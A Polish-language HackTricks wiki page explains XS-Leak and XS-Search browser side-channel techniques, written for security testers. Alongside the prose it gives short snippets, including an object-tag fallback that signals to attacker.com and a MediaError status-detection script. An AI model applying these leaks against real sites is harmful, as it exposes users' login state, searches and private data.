XS-Search/XS-Leaks

Reading time: 50 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe informacje

XS-Search to metoda używana do ekstrakcji informacji z różnych źródeł poprzez wykorzystanie wrażliwości kanałów bocznych.

Kluczowe komponenty zaangażowane w ten atak to:

  • Wrażliwa strona: Strona docelowa, z której zamierzane jest wydobycie informacji.
  • Strona atakującego: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
  • Metoda włączenia: Technika stosowana do włączenia Wrażliwej Strony do Strony Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
  • Technika wycieku: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony na podstawie informacji zebranych za pomocą metody włączenia.
  • Stany: Dwa potencjalne warunki Wrażliwej Strony, które atakujący stara się odróżnić.
  • Wykrywalne różnice: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony.

Wykrywalne różnice

Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony:

  • Kod statusu: Rozróżnianie między różnymi kodami statusu odpowiedzi HTTP z różnych źródeł, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji.
  • Użycie API: Identyfikacja użycia Web API na stronach, ujawniająca, czy strona z innego źródła korzysta z konkretnego JavaScript Web API.
  • Przekierowania: Wykrywanie nawigacji do różnych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
  • Zawartość strony: Obserwowanie różnic w treści odpowiedzi HTTP lub w podzasobach strony, takich jak liczba osadzonych ramek lub różnice w rozmiarze obrazów.
  • Nagłówek HTTP: Zauważenie obecności lub ewentualnie wartości konkretnego nagłówka odpowiedzi HTTP, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
  • Czas: Zauważenie stałych różnic czasowych między dwoma stanami.

Metody włączenia

  • Elementy HTML: HTML oferuje różne elementy do włączenia zasobów z różnych źródeł, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML do tego celu można znaleźć na https://github.com/cure53/HTTPLeaks.
  • Ramki: Elementy takie jak iframe, object i embed mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona nie ma ochrony przed ramkami, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
  • Wyskakujące okna: Metoda window.open otwiera zasób w nowej karcie lub oknie, zapewniając uchwyt okna dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Wyskakujące okna, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie wyskakujących okien do określonych działań użytkownika.
  • Żądania JavaScript: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą XMLHttpRequests lub Fetch API. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład możliwość podążania za przekierowaniami HTTP.

Techniki wycieku

  • Obsługa zdarzeń: Klasyczna technika wycieku w XS-Leaks, gdzie obsługiwacze zdarzeń, takie jak onload i onerror, dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów.
  • Komunikaty o błędach: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem.
  • Globalne ograniczenia: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku.
  • Globalny stan: Wykrywalne interakcje z globalnymi stanami przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, liczba wpisów w historii przeglądarki może dostarczać wskazówek dotyczących stron z różnych źródeł.
  • API wydajności: To API dostarcza szczegóły wydajności bieżącej strony, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski na temat żądanych zasobów.
  • Czytelne atrybuty: Niektóre atrybuty HTML są czytelne z różnych źródeł i mogą być używane jako technika wycieku. Na przykład, właściwość window.frame.length pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej z różnych źródeł.

Narzędzie XSinator i dokument

XSinator to automatyczne narzędzie do sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks opisanych w jego dokumencie: https://xsinator.com/paper.pdf

Możesz uzyskać dostęp do narzędzia pod https://xsinator.com/

warning

Wykluczone XS-Leaks: Musieliśmy wykluczyć XS-Leaks, które polegają na workerach serwisowych, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często są wolne, hałaśliwe i niedokładne.

Techniki oparte na czasie

Niektóre z poniższych technik będą wykorzystywać czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieją różne sposoby mierzenia czasu w przeglądarce internetowej.

Zegary: API performance.now() pozwala programistom uzyskać pomiary czasu o wysokiej rozdzielczości.
Istnieje znaczna liczba API, które atakujący mogą nadużywać do tworzenia niejawnych zegarów: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animacje CSS i inne.
Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Techniki obsługi zdarzeń

Onload/Onerror

{{#ref}} cookie-bomb-+-onerror-xs-leak.md {{#endref}}

Przykład kodu próbuje załadować obiekty skryptów z JS, ale inne tagi takie jak obiekty, arkusze stylów, obrazy, dźwięki również mogą być używane. Ponadto możliwe jest również wstrzyknięcie tagu bezpośrednio i zadeklarowanie zdarzeń onload i onerror wewnątrz tagu (zamiast wstrzykiwać je z JS).

Istnieje również wersja tego ataku bez skryptów:

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

W tym przypadku, jeśli example.com/404 nie zostanie znaleziony, załadowana zostanie attacker.com/?error.

Czas ładowania

{{#ref}} performance.now-example.md {{#endref}}

Czas ładowania + wymuszone ciężkie zadanie

Ta technika jest podobna do poprzedniej, ale atakujący również wymusi pewną akcję, aby zajęła odpowiednią ilość czasu, gdy odpowiedź jest pozytywna lub negatywna i zmierzy ten czas.

{{#ref}} performance.now-+-force-heavy-task.md {{#endref}}

Czas unload/beforeunload

Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia unload i beforeunload. Zdarzenie beforeunload jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie unload występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasową między tymi dwoma zdarzeniami można obliczyć, aby określić czas, jaki przeglądarka spędziła na pobieraniu zasobu.

Czas ramki w piaskownicy + onload

Zaobserwowano, że w przypadku braku Ochrony Ramkowej, czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ handler onload iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut sandbox w <iframe>. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScriptu, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Metody włączenia: Ramki
  • Wykrywalna różnica: Zawartość strony
  • Więcej informacji:
  • Podsumowanie: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu.
  • Przykład kodu:

Załóżmy, że możesz wstawić stronę, która ma tajną zawartość w ramce Iframe.

Możesz sprawić, że ofiara wyszuka plik, który zawiera "flag" używając Iframe (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że zdarzenie onload będzie wykonywane zawsze przynajmniej raz. Następnie możesz zmienić URL iframe, zmieniając tylko zawartość hash w URL.

Na przykład:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Jeśli pierwszy URL został pomyślnie załadowany, to, gdy zmienisz część hash URL, zdarzenie onload nie zostanie wywołane ponownie. Ale jeśli strona miała jakiś rodzaj błędu podczas ładowania, to zdarzenie onload zostanie wywołane ponownie.

Wtedy możesz rozróżnić między poprawnie załadowaną stroną a stroną, która ma błąd podczas dostępu.

Wykonanie Javascript

  • Metody włączenia: Ramki
  • Wykrywalna różnica: Zawartość strony
  • Więcej informacji:
  • Podsumowanie: Jeśli strona zwraca wrażliwą zawartość, lub zawartość, która może być kontrolowana przez użytkownika. Użytkownik mógłby ustawić ważny kod JS w negatywnym przypadku, ładując każdy próbę wewnątrz <script> tagów, więc w negatywnych przypadkach kod atakującego jest wykonywany, a w pozytywnych przypadkach nic nie zostanie wykonane.
  • Przykład kodu:

{{#ref}} javascript-execution-xs-leak.md {{#endref}}

CORB - Onerror

  • Metody włączenia: Elementy HTML
  • Wykrywalna różnica: Kod statusu i nagłówki
  • Więcej informacji: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Podsumowanie: Cross-Origin Read Blocking (CORB) to środek bezpieczeństwa, który zapobiega ładowaniu przez strony internetowe niektórych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak Spectre. Jednak atakujący mogą wykorzystać jego ochronne zachowanie. Gdy odpowiedź podlegająca CORB zwraca chroniony przez CORB Content-Type z nosniff i kodem statusu 2xx, CORB usuwa treść i nagłówki odpowiedzi. Atakujący obserwujący to mogą wywnioskować kombinację kodu statusu (wskazującego na sukces lub błąd) i Content-Type (oznaczającego, czy jest chroniony przez CORB), co prowadzi do potencjalnego wycieku informacji.
  • Przykład kodu:

Sprawdź link z więcej informacjami, aby uzyskać więcej informacji na temat ataku.

onblur

Możliwe jest załadowanie strony wewnątrz iframe i użycie #id_value, aby skupić stronę na elemencie iframe z wskazanym id, a następnie, jeśli zostanie wywołany sygnał onblur, element ID istnieje.
Możesz przeprowadzić ten sam atak z tagami portal.

postMessage Broadcasts

  • Metody włączenia: Ramki, Pop-upy
  • Wykrywalna różnica: Użycie API
  • Więcej informacji: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Podsumowanie: Zbieranie wrażliwych informacji z postMessage lub użycie obecności postMessages jako orakula do poznania statusu użytkownika na stronie
  • Przykład kodu: Jakikolwiek kod nasłuchujący wszystkie postMessages.

Aplikacje często wykorzystują postMessage broadcasts do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać wrażliwe informacje, jeśli parametr targetOrigin nie jest odpowiednio określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako orakulum; na przykład, niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.

Techniki Global Limits

WebSocket API

Możliwe jest zidentyfikowanie, czy i ile połączeń WebSocket używa strona docelowa. Pozwala to atakującemu na wykrycie stanów aplikacji i wyciek informacji związanych z liczbą połączeń WebSocket.

Jeśli jedno źródło używa maksymalnej liczby obiektów połączeń WebSocket, niezależnie od stanu ich połączeń, utworzenie nowych obiektów spowoduje wyjątki JavaScript. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w pop-upie lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. Liczba zgłoszonych wyjątków to liczba połączeń WebSocket używanych przez okno strony docelowej.

Payment API

Ten XS-Leak umożliwia atakującemu wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności.

Ponieważ tylko jedno żądanie płatności może być aktywne w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują wyjątek JavaScript. Atakujący może to wykorzystać, okresowo próbując wyświetlić interfejs API płatności. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.

Mierzenie czasu pętli zdarzeń

{{#ref}} event-loop-blocking-+-lazy-images.md {{#endref}}

JavaScript działa na modelu współbieżności jednowątkowej pętli zdarzeń, co oznacza, że może wykonywać tylko jedno zadanie w danym czasie. Ta cecha może być wykorzystana do oszacowania jak długo kod z innego źródła zajmuje wykonanie. Atakujący może mierzyć czas wykonania swojego kodu w pętli zdarzeń, nieustannie wysyłając zdarzenia z ustalonymi właściwościami. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.

warning

W pomiarze czasu wykonania możliwe jest eliminowanie czynników sieciowych, aby uzyskać dokładniejsze pomiary. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.

Zajęta pętla zdarzeń

  • Metody włączenia:
  • Wykrywalna różnica: Czas (ogólnie z powodu zawartości strony, kodu statusu)
  • Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Podsumowanie: Jedna z metod mierzenia czasu wykonania operacji w sieci polega na celowym blokowaniu pętli zdarzeń w wątku, a następnie mierzeniu jak długo zajmuje ponowne udostępnienie pętli zdarzeń. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń podczas okresu blokowania. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, w której zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
  • Przykład kodu:

Znaczącą zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia Izolacji Stron. Izolacja Stron to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych z innych stron. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, omijając w ten sposób bariery ochronne ustanowione przez Izolację Stron.

warning

W pomiarze czasu wykonania możliwe jest eliminowanie czynników sieciowych, aby uzyskać dokładniejsze pomiary. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.

Pula połączeń

  • Metody włączenia: Żądania JavaScript
  • Wykrywalna różnica: Czas (ogólnie z powodu zawartości strony, kodu statusu)
  • Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Podsumowanie: Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zacznie się ładować, to czas, jaki zajęło załadowanie strony docelowej.
  • Przykład kodu:

{{#ref}} connection-pool-example.md {{#endref}}

Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale z powodu ograniczonych zasobów systemu operacyjnego i sprzętu, przeglądarki są zmuszone narzucać limit na liczbę równoczesnych gniazd. Atakujący mogą wykorzystać to ograniczenie poprzez następujące kroki:

  1. Ustalić limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
  2. Zajmować 255 gniazd przez dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych tak, aby utrzymać połączenia otwarte bez ich zakończenia.
  3. Wykorzystać 256. gniazdo do wysłania żądania do strony docelowej.
  4. Spróbować wysłać 257. żądanie do innego hosta. Biorąc pod uwagę, że wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieci związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co sugeruje, że każde nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje 256. gniazdu, aby stać się dostępnym, jest zatem bezpośrednio związany z czasem potrzebnym na zakończenie żądania do strony docelowej.

Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pula połączeń według docelowego

  • Metody włączenia: Żądania JavaScript
  • Wykrywalna różnica: Czas (ogólnie z powodu zawartości strony, kodu statusu)
  • Więcej informacji:
  • Podsumowanie: To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google Chrome nakłada limit 6 równoczesnych żądań do tego samego źródła. Jeśli zablokujemy 5 i następnie uruchomimy 6. żądanie, możemy zmierzyć czas, a jeśli uda nam się sprawić, że strona ofiary wyśle więcej żądań do tego samego punktu końcowego, aby wykryć status strony, 6. żądanie zajmie więcej czasu i możemy to wykryć.

Techniki API wydajności

Performance API oferuje wgląd w metryki wydajności aplikacji internetowych, dodatkowo wzbogacony przez Resource Timing API. Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. W szczególności, gdy serwery dołączają nagłówek Timing-Allow-Origin: * do swoich odpowiedzi, dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny, stają się dostępne.

Te bogate dane można uzyskać za pomocą metod takich jak performance.getEntries lub performance.getEntriesByName, co zapewnia kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API umożliwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasowymi uzyskanymi z performance.now(). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja performance.now() może być ograniczona do milisekund, co może wpłynąć na szczegółowość pomiarów czasowych.

Poza pomiarami czasu, API wydajności można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie performance w Chrome może wskazywać na zastosowanie X-Frame-Options. W szczególności, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu X-Frame-Options, nie zostanie zarejestrowana w obiekcie performance, co stanowi subtelny wskazówkę na temat polityki ramkowania strony.

Wyciek błędu

Możliwe jest rozróżnienie między kodami statusu odpowiedzi HTTP, ponieważ żądania, które prowadzą do błędu, nie tworzą wpisu wydajności.

Błąd przeładowania stylu

W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować. To spowoduje wiele wpisów w API wydajności i może być wykryte.

Błąd łączenia żądań

Technika ta została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono opisu techniki. Możesz jednak znaleźć kod źródłowy sprawdzający to w https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Wyciek pustej strony

Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ puste strony nie tworzą wpisu wydajności w niektórych przeglądarkach.

Wyciek XSS-Auditor

W Asercjach Bezpieczeństwa (SA) XSS Auditor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tym tle badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcja znana jako XS-Leaks, pierwotnie zgłoszona przez Teradę i rozwinięta przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą być nadal wyciekane.

Wyciek X-Frame

Jeśli strona nie jest dozwolona do renderowania w iframe, nie tworzy wpisu wydajności. W rezultacie atakujący może wykryć nagłówek odpowiedzi X-Frame-Options.
To samo dotyczy użycia tagu embed.

Wykrywanie pobierania

Podobnie jak w opisanym XS-Leak, zasób, który jest pobierany z powodu nagłówka ContentDisposition, również nie tworzy wpisu wydajności. Ta technika działa we wszystkich głównych przeglądarkach.

Wyciek czasu rozpoczęcia przekierowania

Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań z innego źródła. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów z innego źródła. Jednak w SA możliwe jest wykrycie, czy użytkownik jest przekierowywany przez stronę docelową, zapytując API Performance i sprawdzając dane czasowe redirectStart.

Wyciek czasu trwania przekierowania

W GC, czas trwania dla żądań, które kończą się przekierowaniem, jest ujemny i można go rozróżnić od żądań, które nie kończą się przekierowaniem.

Wyciek CORP

W niektórych przypadkach, wpis nextHopProtocol może być użyty jako technika wycieku. W GC, gdy nagłówek CORP jest ustawiony, nextHopProtocol będzie pusty. Należy zauważyć, że SA w ogóle nie utworzy wpisu wydajności dla zasobów z włączonym CORP.

Service Worker

Service worker to kontekst skryptowy wyzwalany zdarzeniami, który działa w danym źródle. Działa w tle strony internetowej i może przechwytywać, modyfikować i buforować zasoby, aby stworzyć offline'ową aplikację internetową.
Jeśli zasób buforowany przez service worker jest dostępny przez iframe, zasób zostanie załadowany z pamięci podręcznej service worker.
Aby wykryć, czy zasób został załadowany z pamięci podręcznej service worker, można użyć API wydajności.
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).

Pamięć podręczna

Korzystając z API wydajności, możliwe jest sprawdzenie, czy zasób jest buforowany.

Czas trwania sieci

Technika komunikatów o błędach

Błąd mediów

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

Interfejs MediaError ma właściwość message, która unikalnie identyfikuje zasoby, które ładują się pomyślnie za pomocą odrębnego ciągu. Atakujący może wykorzystać tę funkcję, obserwując zawartość wiadomości, a tym samym dedukując status odpowiedzi zasobu z innego źródła.

Błąd CORS

Ta technika umożliwia atakującemu wyodrębnienie celu przekierowania z witryny z innego źródła poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy żądanie z włączonym CORS jest wysyłane do docelowej witryny, która wydaje przekierowanie na podstawie stanu użytkownika, a przeglądarka następnie odrzuca żądanie, pełny adres URL celu przekierowania jest ujawniany w komunikacie o błędzie. Ta podatność nie tylko ujawnia fakt przekierowania, ale także ujawnia punkt końcowy przekierowania oraz wszelkie wrażliwe parametry zapytania, które mogą zawierać.

Błąd SRI

Atakujący może wykorzystać szczegółowe komunikaty o błędach, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który wykorzystuje atrybut integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmodyfikowane. Aby SRI działało na zasobach z innego źródła, muszą być włączone CORS; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po niepowodzeniu żądania fetch z atrybutem integralności. Atakujący mogą celowo wywołać ten błąd, przypisując fałszywą wartość hasha do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie niezamierzenie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.

Naruszenie/Wykrywanie CSP

XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana do innego źródła. Ta utrata informacji może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na zezwoleniu na domenę docelową na stronie atakującego. Gdy żądanie jest wysyłane do domeny docelowej, przekierowuje do domeny z innego źródła. CSP blokuje dostęp do niej i tworzy raport naruszenia używany jako technika wycieku. W zależności od przeglądarki ten raport może ujawniać lokalizację celu przekierowania.
Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowane, ale nadal można wykryć, że przekierowanie z innego źródła zostało wywołane.

Cache

Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Niezależnie od ich pochodzenia, możliwe jest ustalenie, czy strona docelowa zażądała konkretnego pliku.

Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można unieważnić zasób (aby nie był już pamiętany, jeśli był, zobacz więcej informacji w linkach), wykonać żądanie, które mogłoby załadować ten zasób i spróbować załadować zasób z błędnym żądaniem (np. używając zbyt długiego nagłówka referera). Jeśli załadunek zasobu nie wywołał żadnego błędu, to dlatego, że był pamiętany.

Dyrektywa CSP

Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na proponowanie Polityki Bezpieczeństwa Treści (CSP) poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą autoryzować to za pomocą nagłówka HTTP, w przeciwnym razie wyświetlana jest strona błędu. Jednak jeśli iframe jest już regulowany przez CSP, a nowo zaproponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do wykrycia konkretnych dyrektyw CSP strony z innego źródła, identyfikując stronę błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają nową technikę wycieku, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.

CORP

Nagłówek CORP to stosunkowo nowa funkcja zabezpieczeń platformy internetowej, która po ustawieniu blokuje żądania cross-origin bez CORS do danego zasobu. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP zgłosi błąd podczas pobierania.

CORB

Sprawdź link, aby uzyskać więcej informacji na temat ataku.

Błąd CORS w błędnej konfiguracji odbicia pochodzenia

W przypadku, gdy nagłówek Origin jest odbity w nagłówku Access-Control-Allow-Origin, atakujący może wykorzystać to zachowanie, aby spróbować pobierać zasób w trybie CORS. Jeśli błąd nie jest wywoływany, oznacza to, że został prawidłowo pobrany z sieci, jeśli błąd jest wywoływany, to dlatego, że był dostępny z pamięci podręcznej (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie domenę atakującego).
Zauważ, że jeśli pochodzenie nie jest odbite, ale użyto znaku wieloznacznego (Access-Control-Allow-Origin: *), to nie zadziała.

Technika atrybutów czytelnych

Przekierowanie Fetch

Składając żądanie za pomocą Fetch API z redirect: "manual" i innymi parametrami, możliwe jest odczytanie atrybutu response.type, a jeśli jest równy opaqueredirect, to odpowiedź była przekierowaniem.

COOP

Atakujący jest w stanie wydedukować obecność nagłówka Polityki Otwieracza Z Innego Źródła (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można wykryć, próbując uzyskać dostęp do odniesienia contentWindow. W scenariuszach, w których COOP jest stosowane warunkowo, właściwość opener staje się wyraźnym wskaźnikiem: jest niezdefiniowana, gdy COOP jest aktywne, i zdefiniowana w jego braku.

Maksymalna długość URL - po stronie serwera

Jeśli przekierowanie po stronie serwera używa danych użytkownika w przekierowaniu i dodatkowych danych. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj serwery mają limit długości żądania. Jeśli dane użytkownika mają długość - 1, ponieważ przekierowanie używa tych danych i dodaje coś dodatkowego, spowoduje to wywołanie błędu wykrywalnego za pomocą zdarzeń błędów.

Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, ustawiając wystarczającą liczbę ciasteczek (cookie bomb), aby z powodu zwiększonego rozmiaru odpowiedzi prawidłowej odpowiedzi wywołać błąd. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, <script> automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).
